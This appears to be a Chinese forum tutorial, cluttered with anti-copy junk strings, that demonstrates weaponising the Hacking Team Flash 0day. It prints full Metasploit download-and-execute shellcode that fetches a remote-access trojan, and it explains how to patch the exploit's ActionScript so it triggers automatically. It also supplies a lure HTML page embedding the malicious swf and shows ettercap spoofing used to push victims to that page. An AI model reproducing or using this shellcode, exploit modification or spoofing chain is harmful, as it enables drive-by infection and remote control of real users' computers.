flash 0day之手工代码修改制作下载者实例入侵演示

admin

三、flash 0day之手工代码修改制作下载者实例入侵演示 9 @9 l. z& |: W

9 J' R' g; S0 Q* [: T 利用到的工具： 9 S( ]; u7 {( y5 u0 x4 `

Msf : @3 J1 t- l6 b# M$ [6 {2 d, F# E

$ m9 Z' G2 K2 v: K

Ettercap

9 T/ h+ _! D9 h7 A Adobe Flash CS6

Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份

5 j7 y& n3 b/ V" i7 [, l) k 下面我们就开始演示入侵，利用msf生成shellcode,首先打开msf执行use windows/download_exec，show options

" r, k* _: G, ?' t" n 如图： * H$ u/ Y4 ^: D

: s1 L# c+ t" j" h, N: {2 t   t l2 Q3 u5 T& _2 }

 

. d: u; b. |) F1 U$ [9 A 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址，这里我们用远控马，远控配置使用不再详细说明。。。如图:

! G4 ^% x% x) a" B/ X% g

8 b7 R2 c7 E" H1 m   ' V; Q* l5 e l$ b2 t t9 B

; N9 \" J. e! [, u% t   + U4 \3 u7 E4 c3 C8 I) n) K6 Z

然后执行generate -t dword生成shellcode，如下：

2 t/ F! x9 q+ U9 B" \+ }  

! H+ D# ]5 B7 M- v3 y 复制代码到文本下便于我们一会编辑flash exp，如下： - I# |$ P- Z- R- |' g

6 }. J+ L' U+ O

& ^9 F' P5 B0 o3 q; d( r 0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, / \/ d3 D" c& H, t) J! o

0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, . F- }3 }6 Z) X5 d0 Q- Z8 X' q: n

/ p$ A3 z y2 c" y" _ 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038,

- @8 S# i+ A6 Q! p

; l+ s! W, Z0 i: {) }, J& @ 0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489,

: Q& j: g5 P5 V" t

0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854,

: r+ k9 P. \- y

0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, " A' v$ Q: G- |- X" l

! k, _, V8 {! y! [

% x. Y) X. k, }& `. d$ p 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, 0 F( Q% {% k7 V2 e: q- f

7 p/ _, c; R( Q8 g! w2 K% ]- c

, u5 t& V; g n1 }; \" g 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757,

0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, / H% A. W# P! ~

* ~; h, [, U- h: U 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6, / K. C8 {3 `3 L! z

1 r0 Q7 L( |) c/ W6 N0 Z$ k4 v

0 _2 `0 A0 ^; w+ h; t1 m! ~% M 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, + t- T; {9 E" K) M ?; X9 n! T" z

0 f6 m R& }. {

# w; A: x# k R6 [, u 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853,

1 f9 R& @' z* A* _$ ~! T/ n 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, 6 E6 p; D$ l1 b8 }" Y) P

: z" p( D3 ^- L W) m$ B9 g

: g5 d- W$ ~8 ]# ~) u9 }# Y! t& K _ 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000

# ^: G7 L4 F: L) V

 

& }, B5 `0 ~3 E% f d. S% A8 `3 W- Y' N

  # a4 a7 U+ V; W4 q( v, S

' F- a v. l6 a$ Q- W7 W7 D 下面我们来修改flash 0day exp，需要修改三个文件，分别为： 9 \6 F8 L2 f& l, }6 l! l

( a! X& K/ }! |9 @3 [( g7 ^# e

 

1 l) i8 l5 m& z" U0 I4 L1 A% I

' n8 P8 Y( N7 O) k7 _ 先修改ShellWin32.as，部分源代码如图： 1 f) [8 i4 S6 t/ B/ R( ]

4 W! Z% O; o8 z Z. ^( |- O" g   3 d& j& p! q- y: k. o

+ g3 r% f( N" N 我们需要把标记处[]中的代码改成用msf生成的代码，修改后如下： ! w0 L. r; I% B* J# T

0 F; h; e+ L4 L0 R Q

  X3 {+ a8 B+ _; d% w4 U* v' G0 `

6 d2 p- ~+ e2 b5 b* ?3 t; s( c

7 V! Y5 x c4 ~. Y! e' }7 ]3 D0 W 然后保存，ShellWin64.as的修改方法如上述，不再演示，下面我们来修改myclass.as,这里需要说明一下，因为此exp生成的利用程序，不能直接自动触发flash漏洞，也就是需要点击按钮才可以，实际上在做渗透的时候需要把它搞得更完美，所以就需要修改，修改方法：搜索myclass的某个字符doc.addchild(btn);如图：

 

换行在后面加一句TryExpl();注意是l不是数字1，然后如图：

  " R0 Y$ P6 n0 z

7 B5 j# M% W; X% _/ ?

$ v! [* W9 p# d0 b- w- O l   9 m& `& i% K- |2 ]7 J/ O2 V

+ P; K) J0 ]4 B' v' ^2 u

 

% _4 ^7 b) k# z9 d

然后点保存，下面我们来编译一下，打开 % [ M7 A( C3 H

- u# n1 o6 c) O* `, Z/ n

exp1.fla然后点文件-发布，看看编译没错误 5 N) a9 W. w: P7 e, N' ?2 D6 u

! j: e7 y2 r7 M( b' `: A6 m   ) R+ z! r5 s! m

% F- i4 {; a" O. A) C c

( ^$ ^& X B( w l2 W2 B6 U8 s0 G/ a; m   # L) o' o* c( P' o, o

3 i; \+ {+ l6 d e: P: N; ^

  - N0 H. u! M! m1 Y

! _4 C& p/ J2 P4 {# Z5 c/ h5 v; z

  7 Q, A# \9 v/ y! ^, \7 g2 Q

2 x( h7 U8 L0 ^7 `1 f0 S, r9 a 然后我们把生成的

* [. Y5 s( i* p+ U5 T( L6 o: c7 l

exp1.swf丢到kailinux 的/var/www/html下： " g5 Q* d8 b, o4 E: ~

/ I' O! u& ?4 b0 U 然后把这段代码好好编辑一下

8 r" F& }2 H% z# }, [; d   0 K9 J4 O& T. A5 S# i. {. M) l+ h

* Z! o$ U1 m7 M4 `1 |' Z) K  

- ?5 h2 O) d& n7 E# \% r

 

  - u% ?: p! a7 v2 L: k* J$ \- S" p

+ U+ R3 a. k2 r$ G Q4 Z W

: h$ H+ l' ^: i% h; M: d0 N% o2 O   & L4 l; O. ^ E. Z

6 C( X' n; b ~; q/ g2 W7 ~

# |- u: }' F: M/ I5 D3 d   $ y V2 v, Q# ~

<!DOCTYPE html> - q- N" \4 w y6 F' `- i/ h8 t

. w7 e( r! {9 h5 l& u! }: d <html> " y/ |1 t9 A1 J8 {/ H8 \

6 }3 Y, P) v" x% N: T

/ u3 ?2 f+ n g8 X+ L# e3 u. f <head> / a% {; l5 m" @9 {

6 C4 o1 {4 I5 T0 }6 N5 |

<meta http-equiv="Content-Type" content="text/html;

( W+ K5 A0 u' Z4 f5 F

; J4 a G3 h, p4 f. x9 R charset=utf-8"/>

' R1 Y( ~; y- G9 D( K </head> . o0 M3 W3 k, @3 k2 _$ R' W9 c

<body>

" t- J; }7 U5 @6 w2 s T8 ~! j

0 h4 V3 }3 {/ y) K! P/ J <h2> Please wait, the requested page is loading...</h2>

7 |0 k! |" j* I

1 l2 |' S" ^3 g+ J <br>

<OBJECT ) n7 T" V' S0 X& o8 \

/ p, R" X* T0 m. }+ R classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000"  WIDTH="50" HEIGHT="50" id="4"><ARAM NAME=movie

1 B: j2 w3 E% f' ~& M, _* ~

VALUE="http://192.168.0.109/exp1.swf"></OBJECT>

/ V ]+ p! w1 n. Q7 E/ G

# Z! f L( d; W0 |! @ </body>

9 p% z# X* |1 {: r: }

( _% u+ {% _$ d$ G <script>

) g ^0 x- h1 t6 {* R

    setTimeout(function () {

/ B I* X" W8 e! O

q) ~8 x' O% Q l          7 n' g! ^* G0 u ~2 N

5 ?; ?0 t# t9 z) L2 ~ window.location.reload();

/ `0 J' M! Z3 C' d% P

; b, z- j" x& ?7 P+ B     }, 10000); ' m9 b. a0 R9 p8 `% O6 D0 J

% d+ C3 I5 e% l& n8 z* x

 

. i6 j9 E8 `& y- d

, B+ Z/ i/ {1 E8 N7 f6 P </script>

7 B3 l' e( W& N2 t

</html> # o( {1 \) e5 T* v

# B3 ~% m% a- \  

5 z7 n. C$ m7 n! h6 n+ b6 y

注意：192.168.0.109是kali的ip地址，这时候我们需要service apache2 start启动一下web服务，然后将上面的html保存为index.htm同样丢到kali web目录下，测试访问链接存在如图：

  ( |6 S$ P" F9 S# |2 W1 K% b% @

, P$ q* } N' X$ I7 L5 a7 K

 

$ ~( Y8 h" C% C- {) Y: t

: r4 O+ c4 l% d$ w% o  

4 m8 Y. l# |0 ~* |9 U

  6 w: e' W+ x6 O. }8 L

9 I1 f/ O$ Q. z& e" H" u% @( k

1 N( C% B2 G/ k$ _/ y9 I$ }  

; _( x. y. n' a& n4 z

下面我们用ettercap欺骗如图：

  - H+ T, j7 ` G

 

下面我们随便访问个网站看看：

( k9 U+ `% `6 w5 n S) l

$ Y5 S9 T/ u+ i! d. z" T+ ~ 我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功，如图：

" {4 h6 r- C8 ^ j! s

  2 `5 d m, m5 q0 _

6 Y1 t$ s7 F4 ^' n6 ~& V% s; O

% E! n: k" _# c- r 我们看另一台， 2 C1 Q T! C2 s/ A r; b; P/ v

! Y A0 n/ x* M; R 提示这个错误，说明木马是成功被下载执行了，只是由于某些原因没上线而已。。。 & }# k" f( y2 L